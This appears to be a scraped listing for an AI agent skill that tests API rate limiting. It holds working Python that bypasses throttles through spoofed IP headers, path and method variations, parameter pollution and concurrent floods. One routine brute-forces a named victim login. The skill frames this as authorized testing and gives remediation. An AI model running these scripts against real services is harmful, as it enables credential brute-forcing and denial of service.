[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EVNAAG5YA8M4T241ASXWPN":3,"skill-same:01M6EVNAAG5YA8M4T241ASXWPN":117},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":34,"publishedAt":55,"linkOnly":56,"markdownContent":57,"markdownBody":58,"frontMatter":59,"refName":78,"commitSha":79,"skillDirectory":80,"forksCount":14,"repositoryHtmlUrl":81,"repositoryHomepageUrl":82,"ownerHtmlUrl":83,"ownerBlogUrl":6,"ownerDescription":84,"updatedAt":85,"install":86,"resources":99},"01M6EVNAAG5YA8M4T241ASXWPN","performing-api-rate-limiting-bypass",null,"Tests API rate limiting implementations for bypass vulnerabilities by manipulating request headers, IP addresses, HTTP methods, API versions, and encoding schemes to circumvent request throttling controls. The tester identifies rate limit headers, determines enforcement mechanisms, and attempts bypasses including X-Forwarded-For spoofing, parameter pollution, case variation, and endpoint path manipulation. Maps to OWASP API4:2023 Unrestricted Resource Consumption. Activates for requests involving rate limit bypass, API throttling evasion, brute force protection testing, or API abuse prevention assessment.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-api-rate-limiting-bypass\u002FSKILL.md",[18,23,26,29],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":30,"categoryName":31,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54],"rate limiting","api rate limiting","api","performing api rate limiting bypass","de","testing","ip","pollution","007","maps","cm","dos-prevention","evasion","prevention","endpoint","owasp","api-security","assessment","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: performing-api-rate-limiting-bypass\ndescription: 'Tests API rate limiting implementations for bypass vulnerabilities by\n  manipulating request headers, IP addresses, HTTP methods, API versions, and encoding\n  schemes to circumvent request throttling controls. The tester identifies rate limit\n  headers, determines enforcement mechanisms, and attempts bypasses including X-Forwarded-For\n  spoofing, parameter pollution, case variation, and endpoint path manipulation. Maps\n  to OWASP API4:2023 Unrestricted Resource Consumption. Activates for requests involving\n  rate limit bypass, API throttling evasion, brute force protection testing, or API\n  abuse prevention assessment.\n\n  '\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- api-security\n- owasp\n- rate-limiting\n- throttling\n- brute-force\n- dos-prevention\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1027\n- T1055\n---\n# Performing API Rate Limiting Bypass\n\n## When to Use\n\n- Testing whether API rate limiting can be circumvented to enable brute force attacks on authentication endpoints\n- Assessing the effectiveness of API throttling controls against credential stuffing or account enumeration\n- Evaluating if rate limits are enforced consistently across all API versions, methods, and encoding formats\n- Testing if API gateway rate limiting can be bypassed through header manipulation or IP rotation\n- Validating that rate limits protect against resource exhaustion and denial-of-service conditions\n\n**Do not use** without written authorization. Rate limit testing involves sending high volumes of requests that may impact service availability.\n\n## Prerequisites\n\n- Written authorization specifying target endpoints and acceptable request volumes\n- Python 3.10+ with `requests`, `aiohttp`, and `asyncio` libraries\n- Burp Suite Professional with Turbo Intruder extension for high-speed testing\n- cURL for manual header manipulation testing\n- Knowledge of the target's CDN and WAF infrastructure (Cloudflare, AWS WAF, Akamai)\n- List of rate-limit bypass headers to test\n\n## Workflow\n\n### Step 1: Rate Limit Discovery and Baseline\n\nIdentify how rate limiting is implemented:\n\n```python\nimport requests\nimport time\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nheaders = {\"Authorization\": \"Bearer \u003Ctoken>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Send requests and track rate limit headers\ndef probe_rate_limit(endpoint, method=\"GET\", count=100):\n    results = []\n    for i in range(count):\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=headers)\n        rate_headers = {\n            \"limit\": resp.headers.get(\"X-RateLimit-Limit\") or resp.headers.get(\"X-Rate-Limit-Limit\"),\n            \"remaining\": resp.headers.get(\"X-RateLimit-Remaining\") or resp.headers.get(\"X-Rate-Limit-Remaining\"),\n            \"reset\": resp.headers.get(\"X-RateLimit-Reset\") or resp.headers.get(\"X-Rate-Limit-Reset\"),\n            \"retry_after\": resp.headers.get(\"Retry-After\"),\n            \"status\": resp.status_code\n        }\n        results.append(rate_headers)\n        if resp.status_code == 429:\n            print(f\"Rate limited at request {i+1}: {rate_headers}\")\n            return results, i+1\n        time.sleep(0.05)  # Small delay to avoid connection issues\n    print(f\"No rate limit triggered after {count} requests\")\n    return results, count\n\n# Test key endpoints\nlogin_results, login_threshold = probe_rate_limit(\"\u002Fauth\u002Flogin\", \"POST\", 200)\napi_results, api_threshold = probe_rate_limit(\"\u002Fusers\u002Fme\", \"GET\", 200)\nsearch_results, search_threshold = probe_rate_limit(\"\u002Fsearch?q=test\", \"GET\", 200)\n\nprint(f\"\\nRate Limit Summary:\")\nprint(f\"  Login: Triggered at request {login_threshold}\")\nprint(f\"  API: Triggered at request {api_threshold}\")\nprint(f\"  Search: Triggered at request {search_threshold}\")\n```\n\n### Step 2: IP-Based Bypass Techniques\n\n```python\n# Bypass Technique 1: Header-based IP spoofing\nIP_SPOOFING_HEADERS = [\n    \"X-Forwarded-For\",\n    \"X-Real-IP\",\n    \"X-Original-Forwarded-For\",\n    \"X-Originating-IP\",\n    \"X-Remote-IP\",\n    \"X-Remote-Addr\",\n    \"X-Client-IP\",\n    \"X-Host\",\n    \"X-Forwarded-Host\",\n    \"True-Client-IP\",\n    \"Cluster-Client-IP\",\n    \"X-ProxyUser-Ip\",\n    \"Forwarded\",\n    \"CF-Connecting-IP\",\n    \"Fastly-Client-IP\",\n    \"X-Azure-ClientIP\",\n    \"X-Akamai-Client-IP\",\n]\n\ndef test_ip_spoofing_bypass(endpoint, method=\"POST\", body=None):\n    \"\"\"Test if IP spoofing headers bypass rate limiting.\"\"\"\n    # First, trigger the rate limit normally\n    for i in range(200):\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=headers, json=body)\n        if resp.status_code == 429:\n            print(f\"Rate limit triggered at request {i+1}\")\n            break\n\n    # Now test each spoofing header\n    bypasses_found = []\n    for header in IP_SPOOFING_HEADERS:\n        spoofed_headers = {**headers, header: f\"10.0.{i%256}.{(i*7)%256}\"}\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=spoofed_headers, json=body)\n        if resp.status_code != 429:\n            bypasses_found.append(header)\n            print(f\"[BYPASS] {header} -> {resp.status_code}\")\n\n    return bypasses_found\n\nlogin_body = {\"username\": \"test@example.com\", \"password\": \"wrongpassword\"}\nbypasses = test_ip_spoofing_bypass(\"\u002Fauth\u002Flogin\", \"POST\", login_body)\n```\n\n### Step 3: Endpoint Variation Bypass\n\n```python\n# Bypass Technique 2: URL path variation\ndef test_path_variation_bypass(base_endpoint, token):\n    \"\"\"Test if path variations bypass rate limit tied to specific endpoint.\"\"\"\n    variations = [\n        base_endpoint,                          # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n        base_endpoint + \"\u002F\",                    # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F\n        base_endpoint.upper(),                  # \u002FAPI\u002FV1\u002FAUTH\u002FLOGIN\n        base_endpoint + \"?dummy=1\",             # \u002Fapi\u002Fv1\u002Fauth\u002Flogin?dummy=1\n        base_endpoint + \"#fragment\",            # \u002Fapi\u002Fv1\u002Fauth\u002Flogin#fragment\n        base_endpoint + \"%20\",                  # \u002Fapi\u002Fv1\u002Fauth\u002Flogin%20\n        base_endpoint + \"\u002F..\",                  # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F..\n        base_endpoint.replace(\"\u002Fv1\u002F\", \"\u002Fv2\u002F\"),  # \u002Fapi\u002Fv2\u002Fauth\u002Flogin\n        base_endpoint + \";\",                    # \u002Fapi\u002Fv1\u002Fauth\u002Flogin;\n        base_endpoint + \"\\t\",                   # Tab character\n        base_endpoint + \"%00\",                  # Null byte\n        base_endpoint + \"..;\u002F\",                 # Spring path traversal\n    ]\n\n    # Trigger rate limit on original endpoint first\n    for i in range(200):\n        resp = requests.post(f\"{BASE_URL}{base_endpoint}\",\n                           headers={\"Authorization\": f\"Bearer {token}\"},\n                           json={\"username\": \"test\", \"password\": \"wrong\"})\n        if resp.status_code == 429:\n            break\n\n    # Test variations\n    for variant in variations:\n        try:\n            resp = requests.post(f\"{BASE_URL}{variant}\",\n                               headers={\"Authorization\": f\"Bearer {token}\"},\n                               json={\"username\": \"test\", \"password\": \"wrong\"})\n            if resp.status_code != 429:\n                print(f\"[BYPASS] Path variation: {variant} -> {resp.status_code}\")\n        except Exception:\n            pass\n\ntest_path_variation_bypass(\"\u002Fauth\u002Flogin\", \"\u003Ctoken>\")\n```\n\n### Step 4: HTTP Method and Content-Type Bypass\n\n```python\n# Bypass Technique 3: Method and content-type switching\ndef test_method_bypass(endpoint, original_body):\n    \"\"\"Test if rate limit is method-specific.\"\"\"\n    methods_to_test = [\"POST\", \"PUT\", \"PATCH\", \"GET\", \"OPTIONS\"]\n\n    content_types = [\n        \"application\u002Fjson\",\n        \"application\u002Fx-www-form-urlencoded\",\n        \"multipart\u002Fform-data\",\n        \"text\u002Fplain\",\n        \"application\u002Fxml\",\n        \"text\u002Fxml\",\n    ]\n\n    # Trigger rate limit with POST + application\u002Fjson\n    for i in range(200):\n        resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                           headers={**headers, \"Content-Type\": \"application\u002Fjson\"},\n                           json=original_body)\n        if resp.status_code == 429:\n            break\n\n    # Test other methods\n    for method in methods_to_test:\n        if method == \"POST\":\n            continue\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\",\n                              headers=headers, json=original_body)\n        if resp.status_code not in (429, 405):\n            print(f\"[BYPASS] Method switch to {method}: {resp.status_code}\")\n\n    # Test other content types\n    for ct in content_types:\n        if ct == \"application\u002Fjson\":\n            continue\n        test_headers = {**headers, \"Content-Type\": ct}\n        if ct == \"application\u002Fx-www-form-urlencoded\":\n            data = \"&\".join(f\"{k}={v}\" for k, v in original_body.items())\n            resp = requests.post(f\"{BASE_URL}{endpoint}\", headers=test_headers, data=data)\n        else:\n            resp = requests.post(f\"{BASE_URL}{endpoint}\", headers=test_headers,\n                               data=str(original_body))\n        if resp.status_code != 429:\n            print(f\"[BYPASS] Content-Type {ct}: {resp.status_code}\")\n\ntest_method_bypass(\"\u002Fauth\u002Flogin\", {\"username\": \"test@example.com\", \"password\": \"wrong\"})\n```\n\n### Step 5: Account-Level Bypass Techniques\n\n```python\n# Bypass Technique 4: Rotate identifiers to avoid per-account limits\nimport string\nimport random\n\ndef test_account_rotation_bypass(login_endpoint, target_password_list):\n    \"\"\"Test if rate limit is per-account, bypassed by rotating usernames.\"\"\"\n    target_email = \"victim@example.com\"\n\n    # Test 1: Per-account rate limit bypass by rotating the username field\n    # with slight variations\n    email_variations = [\n        target_email,\n        target_email.upper(),\n        f\" {target_email}\",\n        f\"{target_email} \",\n        target_email.replace(\"@\", \"%40\"),\n        f\"+tag@\".join(target_email.split(\"@\")),  # victim+tag@example.com\n    ]\n\n    for password in target_password_list[:50]:\n        for email_var in email_variations:\n            resp = requests.post(f\"{BASE_URL}{login_endpoint}\",\n                               json={\"username\": email_var, \"password\": password})\n            if resp.status_code == 200:\n                print(f\"[SUCCESS] Logged in with: {email_var} \u002F {password}\")\n                return True\n            elif resp.status_code == 429:\n                print(f\"Rate limited on variation: {email_var}\")\n            # Small delay\n            time.sleep(0.1)\n\n    return False\n\n# Bypass Technique 5: Parameter pollution\ndef test_parameter_pollution_bypass(endpoint):\n    \"\"\"Add extra parameters to make each request appear unique.\"\"\"\n    for i in range(200):\n        random_param = ''.join(random.choices(string.ascii_lowercase, k=8))\n        resp = requests.post(\n            f\"{BASE_URL}{endpoint}?{random_param}={i}\",\n            headers=headers,\n            json={\"username\": \"test@example.com\", \"password\": f\"attempt_{i}\"}\n        )\n        if resp.status_code == 429:\n            print(f\"Parameter pollution failed at request {i+1}\")\n            return False\n    print(\"[BYPASS] Parameter pollution: 200 requests without rate limit\")\n    return True\n```\n\n### Step 6: Distributed and Async Testing\n\n```python\nimport asyncio\nimport aiohttp\n\nasync def distributed_rate_limit_test(endpoint, total_requests=1000, concurrency=50):\n    \"\"\"Test rate limiting under concurrent load.\"\"\"\n    results = {\"success\": 0, \"rate_limited\": 0, \"errors\": 0}\n\n    async def make_request(session, request_num):\n        try:\n            # Rotate X-Forwarded-For per request\n            req_headers = {\n                **headers,\n                \"X-Forwarded-For\": f\"192.168.{request_num % 256}.{(request_num * 3) % 256}\"\n            }\n            async with session.post(\n                f\"{BASE_URL}{endpoint}\",\n                headers=req_headers,\n                json={\"username\": \"test@example.com\", \"password\": f\"attempt_{request_num}\"}\n            ) as resp:\n                if resp.status == 429:\n                    results[\"rate_limited\"] += 1\n                elif resp.status in (200, 401):\n                    results[\"success\"] += 1\n                else:\n                    results[\"errors\"] += 1\n        except Exception:\n            results[\"errors\"] += 1\n\n    connector = aiohttp.TCPConnector(limit=concurrency)\n    async with aiohttp.ClientSession(connector=connector) as session:\n        tasks = [make_request(session, i) for i in range(total_requests)]\n        await asyncio.gather(*tasks)\n\n    print(f\"\\nDistributed Test Results:\")\n    print(f\"  Successful: {results['success']}\")\n    print(f\"  Rate Limited: {results['rate_limited']}\")\n    print(f\"  Errors: {results['errors']}\")\n    print(f\"  Bypass Rate: {results['success']\u002F(results['success']+results['rate_limited'])*100:.1f}%\")\n\n# asyncio.run(distributed_rate_limit_test(\"\u002Fauth\u002Flogin\"))\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Rate Limiting** | Controlling the number of requests a client can make to an API within a time window, typically enforced per IP, per user, or per API key |\n| **Unrestricted Resource Consumption** | OWASP API4:2023 - APIs that do not properly limit the size or number of resources requested, enabling DoS or brute force attacks |\n| **X-Forwarded-For Spoofing** | Manipulating the X-Forwarded-For header to make the server believe requests originate from different IP addresses, bypassing IP-based rate limits |\n| **Credential Stuffing** | Automated injection of stolen username\u002Fpassword pairs against login endpoints, requiring rate limit bypass for large-scale attacks |\n| **Token Bucket** | Rate limiting algorithm that allows bursts of requests up to a bucket size, refilling at a constant rate |\n| **Sliding Window** | Rate limiting algorithm that tracks requests in a rolling time window, more resistant to burst attacks than fixed windows |\n\n## Tools & Systems\n\n- **Burp Suite Turbo Intruder**: High-performance request sender for rate limit testing using Python-based scripting engine\n- **ffuf**: Fast web fuzzer capable of testing rate limits with configurable request rates and header manipulation\n- **wfuzz**: Web fuzzer with support for header injection, parameter fuzzing, and rate limit evasion techniques\n- **Postman Collection Runner**: Automated collection execution with variable rotation for rate limit bypass testing\n- **Gatling\u002Fk6**: Load testing tools that simulate realistic traffic patterns to test rate limiting under production-like conditions\n\n## Common Scenarios\n\n### Scenario: Login API Rate Limit Bypass Assessment\n\n**Context**: A financial services API implements rate limiting on the login endpoint to prevent brute force attacks. The security team wants to verify the effectiveness of these controls before a compliance audit.\n\n**Approach**:\n1. Baseline: Send 100 requests to `POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin` - rate limited at request 10 per minute per IP\n2. Test X-Forwarded-For rotation: Send 100 requests with unique X-Forwarded-For values - rate limit bypassed (all requests return 401, not 429)\n3. Test path variation: `\u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F` (trailing slash) resets the rate limit counter\n4. Test API versioning: `\u002Fapi\u002Fv2\u002Fauth\u002Flogin` has no rate limiting configured (shadow API)\n5. Test parameter pollution: Adding `?_=\u003Crandom>` to each request bypasses the rate limit\n6. Test concurrent requests: 50 simultaneous requests from same IP - 45 succeed before rate limit kicks in (race condition in counter)\n7. Determine that rate limiting is implemented at the nginx reverse proxy level using IP-only tracking, trusting X-Forwarded-For header without validation\n\n**Pitfalls**:\n- Sending too many requests too fast and causing actual denial of service to the test environment\n- Not testing rate limits on password reset, MFA verification, and account enumeration endpoints\n- Assuming the rate limit applies globally when it may be per-endpoint or per-method only\n- Missing race conditions in rate limit counters that allow burst bypasses\n- Not testing both authenticated and unauthenticated rate limiting separately\n\n## Output Format\n\n```\n## Finding: Rate Limiting Bypass via X-Forwarded-For Header Spoofing\n\n**ID**: API-RATE-001\n**Severity**: High (CVSS 7.3)\n**OWASP API**: API4:2023 - Unrestricted Resource Consumption\n**Affected Endpoints**:\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Fforgot-password\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Fverify-mfa\n\n**Description**:\nThe API rate limiting implementation relies on the X-Forwarded-For header\nto identify client IP addresses. Since the application sits behind a load\nbalancer that does not strip or validate this header, an attacker can set\narbitrary X-Forwarded-For values to bypass the 10 requests\u002Fminute rate limit\non authentication endpoints.\n\n**Bypass Methods Confirmed**:\n1. X-Forwarded-For rotation: 1000 login attempts in 60 seconds (vs 10 limit)\n2. Trailing slash path variation: \u002Fauth\u002Flogin\u002F treated as separate endpoint\n3. API v2 endpoint: No rate limiting configured\n4. Race condition: 50 concurrent requests, 45 succeed before counter updates\n\n**Impact**:\nAn attacker can perform unlimited brute force attacks against any user\naccount, bypassing the rate limit designed to prevent credential stuffing.\nAt 1000 attempts per minute, a 6-digit PIN can be brute-forced in under\n17 minutes.\n\n**Remediation**:\n1. Configure the load balancer to set X-Forwarded-For and strip client-provided values\n2. Implement rate limiting at the application layer using authenticated user ID, not just IP\n3. Normalize URL paths before applying rate limit rules (strip trailing slashes, enforce lowercase)\n4. Apply rate limits consistently across all API versions and content types\n5. Use atomic rate limit counters (Redis INCR) to prevent race conditions\n6. Implement progressive delays (exponential backoff) in addition to hard limits\n```\n","# Performing API Rate Limiting Bypass\n\n## When to Use\n\n- Testing whether API rate limiting can be circumvented to enable brute force attacks on authentication endpoints\n- Assessing the effectiveness of API throttling controls against credential stuffing or account enumeration\n- Evaluating if rate limits are enforced consistently across all API versions, methods, and encoding formats\n- Testing if API gateway rate limiting can be bypassed through header manipulation or IP rotation\n- Validating that rate limits protect against resource exhaustion and denial-of-service conditions\n\n**Do not use** without written authorization. Rate limit testing involves sending high volumes of requests that may impact service availability.\n\n## Prerequisites\n\n- Written authorization specifying target endpoints and acceptable request volumes\n- Python 3.10+ with `requests`, `aiohttp`, and `asyncio` libraries\n- Burp Suite Professional with Turbo Intruder extension for high-speed testing\n- cURL for manual header manipulation testing\n- Knowledge of the target's CDN and WAF infrastructure (Cloudflare, AWS WAF, Akamai)\n- List of rate-limit bypass headers to test\n\n## Workflow\n\n### Step 1: Rate Limit Discovery and Baseline\n\nIdentify how rate limiting is implemented:\n\n```python\nimport requests\nimport time\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nheaders = {\"Authorization\": \"Bearer \u003Ctoken>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Send requests and track rate limit headers\ndef probe_rate_limit(endpoint, method=\"GET\", count=100):\n    results = []\n    for i in range(count):\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=headers)\n        rate_headers = {\n            \"limit\": resp.headers.get(\"X-RateLimit-Limit\") or resp.headers.get(\"X-Rate-Limit-Limit\"),\n            \"remaining\": resp.headers.get(\"X-RateLimit-Remaining\") or resp.headers.get(\"X-Rate-Limit-Remaining\"),\n            \"reset\": resp.headers.get(\"X-RateLimit-Reset\") or resp.headers.get(\"X-Rate-Limit-Reset\"),\n            \"retry_after\": resp.headers.get(\"Retry-After\"),\n            \"status\": resp.status_code\n        }\n        results.append(rate_headers)\n        if resp.status_code == 429:\n            print(f\"Rate limited at request {i+1}: {rate_headers}\")\n            return results, i+1\n        time.sleep(0.05)  # Small delay to avoid connection issues\n    print(f\"No rate limit triggered after {count} requests\")\n    return results, count\n\n# Test key endpoints\nlogin_results, login_threshold = probe_rate_limit(\"\u002Fauth\u002Flogin\", \"POST\", 200)\napi_results, api_threshold = probe_rate_limit(\"\u002Fusers\u002Fme\", \"GET\", 200)\nsearch_results, search_threshold = probe_rate_limit(\"\u002Fsearch?q=test\", \"GET\", 200)\n\nprint(f\"\\nRate Limit Summary:\")\nprint(f\"  Login: Triggered at request {login_threshold}\")\nprint(f\"  API: Triggered at request {api_threshold}\")\nprint(f\"  Search: Triggered at request {search_threshold}\")\n```\n\n### Step 2: IP-Based Bypass Techniques\n\n```python\n# Bypass Technique 1: Header-based IP spoofing\nIP_SPOOFING_HEADERS = [\n    \"X-Forwarded-For\",\n    \"X-Real-IP\",\n    \"X-Original-Forwarded-For\",\n    \"X-Originating-IP\",\n    \"X-Remote-IP\",\n    \"X-Remote-Addr\",\n    \"X-Client-IP\",\n    \"X-Host\",\n    \"X-Forwarded-Host\",\n    \"True-Client-IP\",\n    \"Cluster-Client-IP\",\n    \"X-ProxyUser-Ip\",\n    \"Forwarded\",\n    \"CF-Connecting-IP\",\n    \"Fastly-Client-IP\",\n    \"X-Azure-ClientIP\",\n    \"X-Akamai-Client-IP\",\n]\n\ndef test_ip_spoofing_bypass(endpoint, method=\"POST\", body=None):\n    \"\"\"Test if IP spoofing headers bypass rate limiting.\"\"\"\n    # First, trigger the rate limit normally\n    for i in range(200):\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=headers, json=body)\n        if resp.status_code == 429:\n            print(f\"Rate limit triggered at request {i+1}\")\n            break\n\n    # Now test each spoofing header\n    bypasses_found = []\n    for header in IP_SPOOFING_HEADERS:\n        spoofed_headers = {**headers, header: f\"10.0.{i%256}.{(i*7)%256}\"}\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=spoofed_headers, json=body)\n        if resp.status_code != 429:\n            bypasses_found.append(header)\n            print(f\"[BYPASS] {header} -> {resp.status_code}\")\n\n    return bypasses_found\n\nlogin_body = {\"username\": \"test@example.com\", \"password\": \"wrongpassword\"}\nbypasses = test_ip_spoofing_bypass(\"\u002Fauth\u002Flogin\", \"POST\", login_body)\n```\n\n### Step 3: Endpoint Variation Bypass\n\n```python\n# Bypass Technique 2: URL path variation\ndef test_path_variation_bypass(base_endpoint, token):\n    \"\"\"Test if path variations bypass rate limit tied to specific endpoint.\"\"\"\n    variations = [\n        base_endpoint,                          # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n        base_endpoint + \"\u002F\",                    # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F\n        base_endpoint.upper(),                  # \u002FAPI\u002FV1\u002FAUTH\u002FLOGIN\n        base_endpoint + \"?dummy=1\",             # \u002Fapi\u002Fv1\u002Fauth\u002Flogin?dummy=1\n        base_endpoint + \"#fragment\",            # \u002Fapi\u002Fv1\u002Fauth\u002Flogin#fragment\n        base_endpoint + \"%20\",                  # \u002Fapi\u002Fv1\u002Fauth\u002Flogin%20\n        base_endpoint + \"\u002F..\",                  # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F..\n        base_endpoint.replace(\"\u002Fv1\u002F\", \"\u002Fv2\u002F\"),  # \u002Fapi\u002Fv2\u002Fauth\u002Flogin\n        base_endpoint + \";\",                    # \u002Fapi\u002Fv1\u002Fauth\u002Flogin;\n        base_endpoint + \"\\t\",                   # Tab character\n        base_endpoint + \"%00\",                  # Null byte\n        base_endpoint + \"..;\u002F\",                 # Spring path traversal\n    ]\n\n    # Trigger rate limit on original endpoint first\n    for i in range(200):\n        resp = requests.post(f\"{BASE_URL}{base_endpoint}\",\n                           headers={\"Authorization\": f\"Bearer {token}\"},\n                           json={\"username\": \"test\", \"password\": \"wrong\"})\n        if resp.status_code == 429:\n            break\n\n    # Test variations\n    for variant in variations:\n        try:\n            resp = requests.post(f\"{BASE_URL}{variant}\",\n                               headers={\"Authorization\": f\"Bearer {token}\"},\n                               json={\"username\": \"test\", \"password\": \"wrong\"})\n            if resp.status_code != 429:\n                print(f\"[BYPASS] Path variation: {variant} -> {resp.status_code}\")\n        except Exception:\n            pass\n\ntest_path_variation_bypass(\"\u002Fauth\u002Flogin\", \"\u003Ctoken>\")\n```\n\n### Step 4: HTTP Method and Content-Type Bypass\n\n```python\n# Bypass Technique 3: Method and content-type switching\ndef test_method_bypass(endpoint, original_body):\n    \"\"\"Test if rate limit is method-specific.\"\"\"\n    methods_to_test = [\"POST\", \"PUT\", \"PATCH\", \"GET\", \"OPTIONS\"]\n\n    content_types = [\n        \"application\u002Fjson\",\n        \"application\u002Fx-www-form-urlencoded\",\n        \"multipart\u002Fform-data\",\n        \"text\u002Fplain\",\n        \"application\u002Fxml\",\n        \"text\u002Fxml\",\n    ]\n\n    # Trigger rate limit with POST + application\u002Fjson\n    for i in range(200):\n        resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                           headers={**headers, \"Content-Type\": \"application\u002Fjson\"},\n                           json=original_body)\n        if resp.status_code == 429:\n            break\n\n    # Test other methods\n    for method in methods_to_test:\n        if method == \"POST\":\n            continue\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\",\n                              headers=headers, json=original_body)\n        if resp.status_code not in (429, 405):\n            print(f\"[BYPASS] Method switch to {method}: {resp.status_code}\")\n\n    # Test other content types\n    for ct in content_types:\n        if ct == \"application\u002Fjson\":\n            continue\n        test_headers = {**headers, \"Content-Type\": ct}\n        if ct == \"application\u002Fx-www-form-urlencoded\":\n            data = \"&\".join(f\"{k}={v}\" for k, v in original_body.items())\n            resp = requests.post(f\"{BASE_URL}{endpoint}\", headers=test_headers, data=data)\n        else:\n            resp = requests.post(f\"{BASE_URL}{endpoint}\", headers=test_headers,\n                               data=str(original_body))\n        if resp.status_code != 429:\n            print(f\"[BYPASS] Content-Type {ct}: {resp.status_code}\")\n\ntest_method_bypass(\"\u002Fauth\u002Flogin\", {\"username\": \"test@example.com\", \"password\": \"wrong\"})\n```\n\n### Step 5: Account-Level Bypass Techniques\n\n```python\n# Bypass Technique 4: Rotate identifiers to avoid per-account limits\nimport string\nimport random\n\ndef test_account_rotation_bypass(login_endpoint, target_password_list):\n    \"\"\"Test if rate limit is per-account, bypassed by rotating usernames.\"\"\"\n    target_email = \"victim@example.com\"\n\n    # Test 1: Per-account rate limit bypass by rotating the username field\n    # with slight variations\n    email_variations = [\n        target_email,\n        target_email.upper(),\n        f\" {target_email}\",\n        f\"{target_email} \",\n        target_email.replace(\"@\", \"%40\"),\n        f\"+tag@\".join(target_email.split(\"@\")),  # victim+tag@example.com\n    ]\n\n    for password in target_password_list[:50]:\n        for email_var in email_variations:\n            resp = requests.post(f\"{BASE_URL}{login_endpoint}\",\n                               json={\"username\": email_var, \"password\": password})\n            if resp.status_code == 200:\n                print(f\"[SUCCESS] Logged in with: {email_var} \u002F {password}\")\n                return True\n            elif resp.status_code == 429:\n                print(f\"Rate limited on variation: {email_var}\")\n            # Small delay\n            time.sleep(0.1)\n\n    return False\n\n# Bypass Technique 5: Parameter pollution\ndef test_parameter_pollution_bypass(endpoint):\n    \"\"\"Add extra parameters to make each request appear unique.\"\"\"\n    for i in range(200):\n        random_param = ''.join(random.choices(string.ascii_lowercase, k=8))\n        resp = requests.post(\n            f\"{BASE_URL}{endpoint}?{random_param}={i}\",\n            headers=headers,\n            json={\"username\": \"test@example.com\", \"password\": f\"attempt_{i}\"}\n        )\n        if resp.status_code == 429:\n            print(f\"Parameter pollution failed at request {i+1}\")\n            return False\n    print(\"[BYPASS] Parameter pollution: 200 requests without rate limit\")\n    return True\n```\n\n### Step 6: Distributed and Async Testing\n\n```python\nimport asyncio\nimport aiohttp\n\nasync def distributed_rate_limit_test(endpoint, total_requests=1000, concurrency=50):\n    \"\"\"Test rate limiting under concurrent load.\"\"\"\n    results = {\"success\": 0, \"rate_limited\": 0, \"errors\": 0}\n\n    async def make_request(session, request_num):\n        try:\n            # Rotate X-Forwarded-For per request\n            req_headers = {\n                **headers,\n                \"X-Forwarded-For\": f\"192.168.{request_num % 256}.{(request_num * 3) % 256}\"\n            }\n            async with session.post(\n                f\"{BASE_URL}{endpoint}\",\n                headers=req_headers,\n                json={\"username\": \"test@example.com\", \"password\": f\"attempt_{request_num}\"}\n            ) as resp:\n                if resp.status == 429:\n                    results[\"rate_limited\"] += 1\n                elif resp.status in (200, 401):\n                    results[\"success\"] += 1\n                else:\n                    results[\"errors\"] += 1\n        except Exception:\n            results[\"errors\"] += 1\n\n    connector = aiohttp.TCPConnector(limit=concurrency)\n    async with aiohttp.ClientSession(connector=connector) as session:\n        tasks = [make_request(session, i) for i in range(total_requests)]\n        await asyncio.gather(*tasks)\n\n    print(f\"\\nDistributed Test Results:\")\n    print(f\"  Successful: {results['success']}\")\n    print(f\"  Rate Limited: 